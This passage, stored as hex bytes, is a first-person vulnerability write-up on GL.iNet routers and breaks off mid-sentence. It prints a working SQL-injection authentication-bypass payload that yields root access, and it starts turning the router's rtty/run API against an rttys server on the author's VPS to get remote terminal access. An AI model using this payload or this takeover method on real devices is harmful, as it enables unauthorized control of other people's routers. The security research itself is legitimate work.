0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x77, 0x68, 0x61, 0x74, 0x65, 0x76, 0x65, 0x72, 0x20, 0x77, 0x65, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x2E, 0x0A, 0x0A, 0x42, 0x75, 0x74, 0x20, 0x77, 0x61, 0x69, 0x74, 0x2C, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x6D, 0x65, 0x61, 0x6E, 0x73, 0x20, 0x6F, 0x75, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x73, 0x68, 0x6F, 0x75, 0x6C, 0x64, 0x20, 0x62, 0x65, 0x20, 0x62, 0x6F, 0x74, 0x68, 0x20, 0x61, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x61, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x53, 0x51, 0x4C, 0x20, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x61, 0x74, 0x27, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x6F, 0x72, 0x20, 0x69, 0x73, 0x20, 0x69, 0x74, 0x3F, 0x0A, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x74, 0x72, 0x69, 0x63, 0x6B, 0x20, 0x49, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x62, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x20, 0x73, 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x2D, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, 0x72, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x20, 0x74, 0x6F, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x51, 0x4C, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x2E, 0x20, 0x49, 0x6E, 0x20, 0x66, 0x61, 0x63, 0x74, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x72, 0x65, 0x67, 0x65, 0x78, 0x20, 0x69, 0x73, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x62, 0x6F, 0x74, 0x68, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x4C, 0x75, 0x61, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x53, 0x51, 0x4C, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x72, 0x6F, 0x6F, 0x5B, 0x5E, 0x27, 0x75, 0x6E, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x54, 0x20, 0x63, 0x68, 0x61, 0x72, 0x28, 0x31, 0x31, 0x34, 0x2C, 0x31, 0x31, 0x31, 0x2C, 0x31, 0x31, 0x31, 0x2C, 0x31, 0x31, 0x36, 0x29, 0x2D, 0x2D, 0x5D, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x48, 0x65, 0x72, 0x65, 0x2C, 0x20, 0x49, 0x20, 0x72, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x74, 0x2A, 0x2A, 0x20, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, 0x72, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x72, 0x6F, 0x6F, 0x74, 0x2A, 0x2A, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x72, 0x65, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x20, 0x69, 0x74, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x61, 0x20, 0x73, 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x20, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, 0x72, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x6D, 0x61, 0x74, 0x63, 0x68, 0x20, 0x65, 0x76, 0x65, 0x72, 0x79, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x78, 0x63, 0x65, 0x70, 0x74, 0x20, 0x6F, 0x75, 0x72, 0x20, 0x53, 0x51, 0x4C, 0x20, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x28, 0x6E, 0x6F, 0x74, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x54, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x53, 0x45, 0x4C, 0x45, 0x43, 0x54, 0x20, 0x73, 0x74, 0x61, 0x74, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x29, 0x3B, 0x20, 0x63, 0x6C, 0x65, 0x76, 0x65, 0x72, 0x2C, 0x20, 0x75, 0x68, 0x6D, 0x21, 0x3F, 0x20, 0xF0, 0x9F, 0x98, 0x80, 0x0A, 0x0A, 0x54, 0x68, 0x69, 0x73, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x71, 0x75, 0x65, 0x72, 0x79, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x20, 0x61, 0x73, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x73, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x73, 0x71, 0x6C, 0x0A, 0x53, 0x45, 0x4C, 0x45, 0x43, 0x54, 0x20, 0x61, 0x63, 0x6C, 0x20, 0x46, 0x52, 0x4F, 0x4D, 0x20, 0x61, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x20, 0x57, 0x48, 0x45, 0x52, 0x45, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x20, 0x27, 0x72, 0x6F, 0x6F, 0x5B, 0x5E, 0x27, 0x75, 0x6E, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x54, 0x20, 0x63, 0x68, 0x61, 0x72, 0x28, 0x31, 0x31, 0x34, 0x2C, 0x31, 0x31, 0x31, 0x2C, 0x31, 0x31, 0x31, 0x2C, 0x31, 0x31, 0x36, 0x29, 0x2D, 0x2D, 0x5D, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x3A, 0x5B, 0x5E, 0x3A, 0x5D, 0x2B, 0x27, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x54, 0x68, 0x69, 0x73, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x6F, 0x75, 0x72, 0x20, 0x62, 0x65, 0x6C, 0x6F, 0x76, 0x65, 0x64, 0x20, 0x2A, 0x2A, 0x72, 0x6F, 0x6F, 0x74, 0x2A, 0x2A, 0x20, 0x41, 0x43, 0x4C, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x6C, 0x6F, 0x67, 0x20, 0x69, 0x6E, 0x20, 0x61, 0x73, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x21, 0x0A, 0x0A, 0x23, 0x20, 0x43, 0x6F, 0x6D, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x61, 0x72, 0x6B, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x63, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x73, 0x0A, 0x21, 0x5B, 0x43, 0x6F, 0x6D, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x61, 0x72, 0x6B, 0x20, 0x73, 0x69, 0x64, 0x65, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x63, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x73, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x64, 0x61, 0x72, 0x6B, 0x2D, 0x73, 0x69, 0x64, 0x65, 0x2D, 0x63, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x59, 0x65, 0x73, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x63, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x73, 0x20, 0x69, 0x6E, 0x64, 0x65, 0x65, 0x64, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x77, 0x68, 0x61, 0x74, 0x20, 0x6E, 0x6F, 0x77, 0x3F, 0x20, 0x53, 0x68, 0x6F, 0x75, 0x6C, 0x64, 0x20, 0x49, 0x20, 0x73, 0x74, 0x6F, 0x70, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x72, 0x65, 0x70, 0x6F, 0x72, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x3F, 0x20, 0x4D, 0x61, 0x79, 0x62, 0x65, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x20, 0x49, 0x20, 0x77, 0x61, 0x73, 0x20, 0x62, 0x6F, 0x72, 0x65, 0x64, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x65, 0x64, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x49, 0x20, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x74, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2C, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x6E, 0x65, 0x61, 0x74, 0x20, 0x41, 0x50, 0x49, 0x20, 0x73, 0x74, 0x75, 0x66, 0x66, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x61, 0x6C, 0x6C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x77, 0x69, 0x74, 0x68, 0x2E, 0x0A, 0x0A, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x64, 0x65, 0x76, 0x65, 0x6C, 0x6F, 0x70, 0x65, 0x72, 0x73, 0x20, 0x61, 0x72, 0x65, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6E, 0x64, 0x6C, 0x79, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x70, 0x72, 0x6F, 0x76, 0x69, 0x64, 0x65, 0x20, 0x65, 0x78, 0x63, 0x65, 0x6C, 0x6C, 0x65, 0x6E, 0x74, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x69, 0x72, 0x20, 0x41, 0x50, 0x49, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x62, 0x65, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x5B, 0x68, 0x65, 0x72, 0x65, 0x5D, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x65, 0x76, 0x2E, 0x67, 0x6C, 0x2D, 0x69, 0x6E, 0x65, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x2D, 0x34, 0x2E, 0x78, 0x2D, 0x61, 0x70, 0x69, 0x2F, 0x29, 0x2E, 0x0A, 0x0A, 0x49, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x73, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x41, 0x50, 0x49, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2F, 0x61, 0x64, 0x64, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x2A, 0x2A, 0x2C, 0x20, 0x6C, 0x69, 0x6B, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x2E, 0x0A, 0x0A, 0x3E, 0x20, 0x3C, 0x69, 0x6D, 0x67, 0x20, 0x73, 0x72, 0x63, 0x3D, 0x22, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2D, 0x61, 0x64, 0x64, 0x2D, 0x75, 0x73, 0x65, 0x72, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x22, 0x20, 0x61, 0x6C, 0x74, 0x3D, 0x22, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x41, 0x50, 0x49, 0x22, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x7A, 0x6F, 0x6F, 0x6D, 0x61, 0x62, 0x6C, 0x65, 0x22, 0x2F, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0A, 0x0A, 0x41, 0x73, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x64, 0x65, 0x64, 0x75, 0x63, 0x74, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x41, 0x50, 0x49, 0x20, 0x70, 0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x72, 0x73, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x61, 0x64, 0x64, 0x20, 0x61, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x21, 0x20, 0x54, 0x68, 0x69, 0x73, 0x20, 0x73, 0x65, 0x65, 0x6D, 0x73, 0x20, 0x61, 0x20, 0x6E, 0x65, 0x61, 0x74, 0x20, 0x66, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x49, 0x20, 0x74, 0x65, 0x73, 0x74, 0x65, 0x64, 0x20, 0x74, 0x68, 0x69, 0x73, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x75, 0x73, 0x65, 0x72, 0x2C, 0x20, 0x49, 0x20, 0x74, 0x72, 0x69, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6C, 0x6F, 0x67, 0x20, 0x69, 0x6E, 0x20, 0x76, 0x69, 0x61, 0x20, 0x53, 0x53, 0x48, 0x20, 0x62, 0x75, 0x74, 0x20, 0x67, 0x6F, 0x74, 0x20, 0x6E, 0x6F, 0x20, 0x6C, 0x75, 0x63, 0x6B, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x20, 0xF0, 0x9F, 0x98, 0x94, 0x20, 0x28, 0x77, 0x65, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x62, 0x65, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x6C, 0x61, 0x74, 0x65, 0x72, 0x29, 0x2E, 0x0A, 0x0A, 0x53, 0x6F, 0x2C, 0x20, 0x49, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x61, 0x75, 0x67, 0x68, 0x74, 0x20, 0x6D, 0x79, 0x20, 0x61, 0x74, 0x74, 0x65, 0x6E, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x67, 0x61, 0x69, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x72, 0x74, 0x74, 0x79, 0x2F, 0x72, 0x75, 0x6E, 0x2A, 0x2A, 0x20, 0x41, 0x50, 0x49, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x53, 0x49, 0x44, 0x3A, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x6F, 0x6B, 0x65, 0x6E, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x0A, 0x74, 0x6F, 0x6B, 0x65, 0x6E, 0x3A, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x6F, 0x6B, 0x65, 0x6E, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x64, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x75, 0x74, 0x68, 0x65, 0x6E, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x61, 0x20, 0x72, 0x65, 0x6D, 0x6F, 0x74, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x0A, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x68, 0x6F, 0x73, 0x74, 0x0A, 0x70, 0x6F, 0x72, 0x74, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x0A, 0x73, 0x73, 0x6C, 0x3A, 0x20, 0x77, 0x68, 0x65, 0x74, 0x68, 0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x6E, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x53, 0x53, 0x4C, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x41, 0x66, 0x74, 0x65, 0x72, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x67, 0x6F, 0x6F, 0x67, 0x6C, 0x69, 0x6E, 0x67, 0x2C, 0x20, 0x49, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x5B, 0x2A, 0x2A, 0x72, 0x74, 0x74, 0x79, 0x2A, 0x2A, 0x5D, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x7A, 0x68, 0x61, 0x6F, 0x6A, 0x68, 0x33, 0x32, 0x39, 0x2F, 0x72, 0x74, 0x74, 0x79, 0x29, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x47, 0x69, 0x74, 0x48, 0x75, 0x62, 0x20, 0x70, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x43, 0x68, 0x69, 0x6E, 0x65, 0x73, 0x65, 0x20, 0x67, 0x75, 0x79, 0x2E, 0x20, 0x54, 0x68, 0x65, 0x20, 0x70, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x72, 0x65, 0x61, 0x64, 0x6D, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x65, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x3A, 0x0A, 0x0A, 0x3E, 0x20, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x69, 0x73, 0x20, 0x6F, 0x66, 0x66, 0x69, 0x63, 0x69, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x2E, 0x0A, 0x0A, 0x4F, 0x68, 0x2C, 0x20, 0x6E, 0x69, 0x63, 0x65, 0x2C, 0x20, 0x73, 0x6F, 0x6D, 0x65, 0x20, 0x6F, 0x66, 0x66, 0x69, 0x63, 0x69, 0x61, 0x6C, 0x20, 0x74, 0x6F, 0x6F, 0x6C, 0x21, 0x20, 0x72, 0x74, 0x74, 0x79, 0x20, 0x69, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x69, 0x73, 0x20, 0x70, 0x72, 0x65, 0x2D, 0x69, 0x6E, 0x73, 0x74, 0x61, 0x6C, 0x6C, 0x65, 0x64, 0x20, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x69, 0x74, 0x27, 0x73, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x61, 0x20, 0x72, 0x65, 0x6D, 0x6F, 0x74, 0x65, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x69, 0x73, 0x20, 0x72, 0x75, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x5B, 0x2A, 0x2A, 0x72, 0x74, 0x74, 0x79, 0x73, 0x2A, 0x2A, 0x5D, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x7A, 0x68, 0x61, 0x6F, 0x6A, 0x68, 0x33, 0x32, 0x39, 0x2F, 0x72, 0x74, 0x74, 0x79, 0x73, 0x29, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2C, 0x20, 0x77, 0x68, 0x69, 0x63, 0x68, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x72, 0x65, 0x6D, 0x6F, 0x74, 0x65, 0x20, 0x74, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x6C, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2E, 0x0A, 0x0A, 0x41, 0x72, 0x6D, 0x65, 0x64, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x69, 0x73, 0x20, 0x6B, 0x6E, 0x6F, 0x77, 0x6C, 0x65, 0x64, 0x67, 0x65, 0x2C, 0x20, 0x49, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x79, 0x20, 0x56, 0x50, 0x53, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x69, 0x6E, 0x73, 0x74, 0x61, 0x6C, 0x6C, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x74, 0x74, 0x79, 0x73, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x73, 0x75, 0x64, 0x6F, 0x20, 0x64, 0x6F, 0x63, 0x6B, 0x65, 0x72, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x2D, 0x69, 0x74, 0x20, 0x2D, 0x70, 0x20, 0x35, 0x39, 0x31, 0x32, 0x3A, 0x35, 0x39, 0x31, 0x32, 0x20, 0x2D, 0x70, 0x20, 0x35, 0x39, 0x31, 0x33, 0x3A, 0x35, 0x39, 0x31, 0x33, 0x20, 0x7A, 0x68, 0x61, 0x6F, 0x6A, 0x68, 0x33, 0x32, 0x39, 0x2F, 0x72, 0x74, 0x74, 0x79, 0x73, 0x3A, 0x6C, 0x61, 0x74, 0x65, 0x73, 0x74, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x54, 0x68, 0x69, 0x73, 0x20, 0x64, 0x6F, 0x63, 0x6B, 0x65, 0x72, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x6C, 0x69, 0x73, 0x74, 0x65, 0x6E, 0x20, 0x6F, 0x6E, 0x20, 0x70, 0x6F, 0x72, 0x74, 0x73, 0x20, 0x6C, 0x69, 0x6B, 0x65, 0x20, 0x2A, 0x2A, 0x35, 0x39, 0x31, 0x32, 0x2A, 0x2A, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x2A, 0x2A, 0x35, 0x39, 0x31, 0x33, 0x2A, 0x2A, 0x2C, 0x20, 0x72, 0x65, 0x73, 0x70, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x6C, 0x79, 0x2C, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x65, 0x62, 0x20, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x66, 0x61, 0x63, 0x65, 0x2E, 0x0A, 0x0A, 0x57, 0x69, 0x74, 0x68, 0x20, 0x61, 0x20, 0x62, 0x69, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x50, 0x79, 0x74, 0x68, 0x6F, 0x6E, 0x2D, 0x66, 0x75, 0x20, 